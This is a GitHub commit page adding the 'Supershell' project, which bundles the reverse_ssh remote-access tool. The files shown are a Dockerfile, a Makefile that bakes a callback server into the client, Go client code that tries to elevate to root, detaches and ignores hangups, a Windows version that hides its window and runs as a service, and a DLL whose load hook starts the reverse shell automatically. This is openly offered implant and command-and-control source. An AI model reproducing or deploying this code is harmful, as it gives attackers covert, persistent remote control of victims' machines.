Skip to content

Commit

Permalink
update Supershell
Browse files Browse the repository at this point in the history
  • Loading branch information
tdragon6 committed Mar 28, 2023
1 parent aba09e5 commit 28f6e3d
Show file tree
Hide file tree
Showing 94 changed files with 9,272 additions and 0 deletions.
2 changes: 2 additions & 0 deletions rssh/.dockerignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Dockerfile
bin
3 changes: 3 additions & 0 deletions rssh/.github/FUNDING.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# These are supported funding model platforms

ko_fi: nhasmakesthings
26 changes: 26 additions & 0 deletions rssh/.github/workflows/docker-image.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: Docker Image CI

on:
push:
branches: [ "main" ]

jobs:

build:

runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
- name: docker login
env:
DOCKER_ACCESS_TOKEN: ${{secrets.DOCKER_ACCESS_TOKEN}}
run: |
docker login -u reversessh -p $DOCKER_ACCESS_TOKEN
- name: Build the Docker image
run: docker build . --file Dockerfile --tag reversessh/reverse_ssh:$(date +%s) --tag reversessh/reverse_ssh

- name: Docker Push
run: docker push reversessh/reverse_ssh
25 changes: 25 additions & 0 deletions rssh/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
FROM golang:1.19-bullseye

WORKDIR /app

RUN sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list && \
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct && \
apt -y --no-install-recommends update && \
apt -y --no-install-recommends upgrade && \
apt install -y --no-install-recommends upx-ucl gcc-mingw-w64 && \
rm -rf /var/cache/apk/* && \
go install mvdan.cc/garble@f9d9919

ENV PATH="${PATH}:$(go env GOPATH)/bin"

COPY go.mod go.sum ./

RUN go mod download -x

COPY . .

RUN make server

RUN chmod +x /app/docker-entrypoint.sh /app/wait-for-it.sh

ENTRYPOINT ["/app/docker-entrypoint.sh"]
47 changes: 47 additions & 0 deletions rssh/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
ifdef RSSH_HOMESERVER
LDFLAGS += -X main.destination=$(RSSH_HOMESERVER)
endif

ifdef RSSH_FINGERPRINT
LDFLAGS += -X main.fingerprint=$(RSSH_FINGERPRINT)
endif

ifdef IGNORE
LDFLAGS += -X main.ignoreInput=$(IGNORE)
endif

ifndef CGO_ENABLED
export CGO_ENABLED=0
endif


LDFLAGS += -X 'github.com/NHAS/reverse_ssh/internal.Version=$(shell git describe --tags)'

LDFLAGS_RELEASE = $(LDFLAGS) -s -w

debug: .generate_keys
go build -ldflags="$(LDFLAGS)" -o bin ./...
GOOS=windows GOARCH=amd64 go build -ldflags="$(LDFLAGS)" -o bin ./cmd/client

release: .generate_keys
go build -ldflags="$(LDFLAGS_RELEASE)" -o bin ./...
GOOS=windows GOARCH=amd64 go build -ldflags="$(LDFLAGS_RELEASE)" -o bin ./cmd/client

client: .generate_keys
go build -ldflags=" $(LDFLAGS_RELEASE)" -o bin ./cmd/client

client_dll: .generate_keys
test -n "$(RSSH_HOMESERVER)" # Shared objects cannot take arguments, so must have a callback server baked in (define RSSH_HOMESERVER)
CGO_ENABLED=1 go build -tags=cshared -buildmode=c-shared -ldflags="$(LDFLAGS_RELEASE)" -o bin/client.dll ./cmd/client

server:
mkdir -p bin
go build -ldflags="-s -w" -o bin ./cmd/server

.generate_keys:
mkdir -p bin
# Supress errors if user doesn't overwrite existing key
ssh-keygen -t ed25519 -N '' -C '' -f internal/client/keys/private_key || true
# Avoid duplicate entries
touch bin/authorized_controllee_keys
@grep -q "$$(cat internal/client/keys/private_key.pub)" bin/authorized_controllee_keys || cat internal/client/keys/private_key.pub >> bin/authorized_controllee_keys
57 changes: 57 additions & 0 deletions rssh/cmd/client/detach.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
//go:build !windows

package main

import (
"log"
"os"
"os/exec"
"os/signal"
"syscall"

"github.com/NHAS/reverse_ssh/internal/client"
)

func Run(destination, fingerprint, proxyaddress string) {
//Try to elavate to root (in case we are a root:root setuid/gid binary)
syscall.Setuid(0)
syscall.Setgid(0)

//Create our own process group, and ignore any hang up signals
syscall.Setsid()
signal.Ignore(syscall.SIGHUP)

client.Run(destination, fingerprint, proxyaddress)
}

func Fork(destination, fingerprint, proxyaddress string) error {
log.Println("Forking")

err := fork("/proc/self/exe")
if err != nil {
log.Println("Forking from /proc/self/exe failed: ", err)

binary, err := os.Executable()
if err == nil {
err = fork(binary)
}

log.Println("Forking from argv[0] failed: ", err)
return err
}
return nil
}

func fork(path string) error {

cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...)
err := cmd.Start()
if err != nil {
return err
}

if cmd.Process != nil {
cmd.Process.Release()
}
return nil
}
126 changes: 126 additions & 0 deletions rssh/cmd/client/detach_windows.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
//go:build windows

package main

import (
"fmt"
"log"
"os"
"os/exec"
"syscall"
"time"

"github.com/NHAS/reverse_ssh/internal/client"
"golang.org/x/sys/windows/svc"
"golang.org/x/sys/windows/svc/debug"
"golang.org/x/sys/windows/svc/eventlog"
)

var elog debug.Log

func Fork(destination, fingerprint, proxyaddress string) error {

inService, err := svc.IsWindowsService()
if err != nil {
elog.Error(1, fmt.Sprintf("failed to determine if we are running in service: %v", err))
return fmt.Errorf("failed to determine if we are running in service: %v", err)
}

if !inService {

log.Println("Forking")

modkernel32 := syscall.NewLazyDLL("kernel32.dll")
procAttachConsole := modkernel32.NewProc("FreeConsole")
syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0)

path, _ := os.Executable()

cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = cmd.Start()

if cmd.Process != nil {
cmd.Process.Release()
}
return nil
}

runService("rssh", destination, fingerprint, proxyaddress)

return nil
}

type rsshService struct {
Dest, Fingerprint, Proxy string
}

func runService(name, destination, fingerprint, proxyaddress string) {
var err error

elog, err := eventlog.Open(name)
if err != nil {
return
}

defer elog.Close()

elog.Info(1, fmt.Sprintf("starting %s service", name))
err = svc.Run(name, &rsshService{
destination,
fingerprint,
proxyaddress,
})
if err != nil {
elog.Error(1, fmt.Sprintf("%s service failed: %v", name, err))
return
}
elog.Info(1, fmt.Sprintf("%s service stopped", name))
}

func (m *rsshService) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
const cmdsAccepted = svc.AcceptStop | svc.AcceptShutdown
changes <- svc.Status{State: svc.StartPending}

go client.Run(m.Dest, m.Fingerprint, m.Proxy)
changes <- svc.Status{State: svc.Running, Accepts: cmdsAccepted}

Outer:
for c := range r {
switch c.Cmd {
case svc.Interrogate:
changes <- c.CurrentStatus
// Testing deadlock from https://code.google.com/p/winsvc/issues/detail?id=4
time.Sleep(100 * time.Millisecond)
changes <- c.CurrentStatus
case svc.Stop, svc.Shutdown:
break Outer
default:
elog.Error(1, fmt.Sprintf("unexpected control request #%d", c))
}
}

changes <- svc.Status{State: svc.StopPending}
changes <- svc.Status{State: svc.Stopped}

os.Exit(0)
return
}

func Run(destination, fingerprint, proxyaddress string) {

inService, err := svc.IsWindowsService()
if err != nil {
log.Printf("failed to determine if we are running in service: %v", err)
client.Run(destination, fingerprint, proxyaddress)
}

if !inService {

client.Run(destination, fingerprint, proxyaddress)
return
}

runService("rssh", destination, fingerprint, proxyaddress)

}
16 changes: 16 additions & 0 deletions rssh/cmd/client/dllfuncs.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
//go:build windows && cgo && cshared

package main

import "C"

//export VoidFunc
func VoidFunc() {
Run(destination, fingerprint, "")
}

//export OnProcessAttach
func OnProcessAttach() {

Run(destination, fingerprint, "")
}
39 changes: 39 additions & 0 deletions rssh/cmd/client/dllmain.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@

#include <windows.h>

void OnProcessAttach();

DWORD WINAPI MyThreadFunction()
{
OnProcessAttach();
return 0;
}

BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason)
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}

return TRUE; // Successful.
}
Loading

0 comments on commit 28f6e3d

Please sign in to comment.